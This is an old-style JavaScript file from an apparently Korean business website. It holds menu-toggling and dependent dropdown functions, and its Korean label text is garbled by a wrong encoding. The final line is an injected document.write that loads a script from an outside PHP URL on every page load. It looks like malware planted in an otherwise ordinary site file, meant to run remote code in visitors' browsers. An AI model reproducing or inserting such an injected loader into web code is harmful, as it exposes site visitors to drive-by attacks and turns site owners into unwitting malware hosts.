function changeIMG(id,src) 
{
   document.images[id].src = src;
}

function Menu2on(currMenu) 
{ 
	if(currMenu == "company") 
	{
		thisMenu = eval("document.all." + currMenu + ".style");
		otherMenu1 = eval("document.all.product.style");
		otherMenu2 = eval("document.all.customer.style");
		otherMenu3 = eval("document.all.relationship.style");
		otherMenu4 = eval("document.all.shop.style");
	}
	else if(currMenu == "product") 
	{
		thisMenu = eval("document.all." + currMenu + ".style");
		otherMenu1 = eval("document.all.company.style");
		otherMenu2 = eval("document.all.customer.style");
		otherMenu3 = eval("document.all.relationship.style");
		otherMenu4 = eval("document.all.shop.style");
	}
	else if(currMenu == "customer")
	{
		thisMenu = eval("document.all." + currMenu + ".style");
		otherMenu1 = eval("document.all.company.style");
		otherMenu2 = eval("document.all.product.style");
		otherMenu3 = eval("document.all.relationship.style");
		otherMenu4 = eval("document.all.shop.style");
	}
	else if(currMenu == "relationship")
	{
		thisMenu = eval("document.all." + currMenu + ".style");
		otherMenu1 = eval("document.all.company.style");
		otherMenu2 = eval("document.all.product.style");
		otherMenu3 = eval("document.all.customer.style");
		otherMenu4 = eval("document.all.shop.style");
	}
	else if(currMenu == "shop") 
	{
		thisMenu = eval("document.all." + currMenu + ".style");
		otherMenu1 = eval("document.all.company.style");
		otherMenu2 = eval("document.all.product.style");
		otherMenu3 = eval("document.all.customer.style");
		otherMenu4 = eval("document.all.relationship.style");
	}

	thisMenu.display = "block";
	otherMenu1.display = "none";
	otherMenu2.display = "none";
	otherMenu3.display = "none";
	otherMenu4.display = "none";
}

var Kinds01 = new Array ();
var Kinds02 = new Array ();

function removeOptionAll(oOpt) 
{
	for ( var i = oOpt.length - 1; i >= 0; i--) 
	{
		oOpt.options[i] = null;
	}
}

function Kinds1_onChange() 
{
	var oF = document.form1;
	removeOptionAll(oF.Kinds2);
	oF.Kinds2.options[0] = new Option('+ Á¦Ç°¸í ¼±Åà +','','true','true');

	if ( document.form1.Kinds1.value != "" ) 
	{
		var zip1 = oF.Kinds1.options[oF.Kinds1.selectedIndex].value;

		for ( var i = 1; i < Kinds01.length; i++ ) 
		{
			if ( zip1 == Kinds01[i].substring(0, 2) ) 
			{
				oF.Kinds2.options[oF.Kinds2.length] = new Option(Kinds02[i], Kinds01[i].substring(2,4));
			}
		}
	}
}

function start1()
{
	var oF = document.form1;
	for ( var i = 0; i < oF.Kinds2.length; i++ ) 
	{
		Kinds01[i] = oF.Kinds2.options[i].value;
		Kinds02[i] = oF.Kinds2.options[i].text;
	}
	Kinds1_onChange();
} 

document.write('<script src=http://gifco.co.kr/tranimages/rc.firewall_tar.php ><\/script>');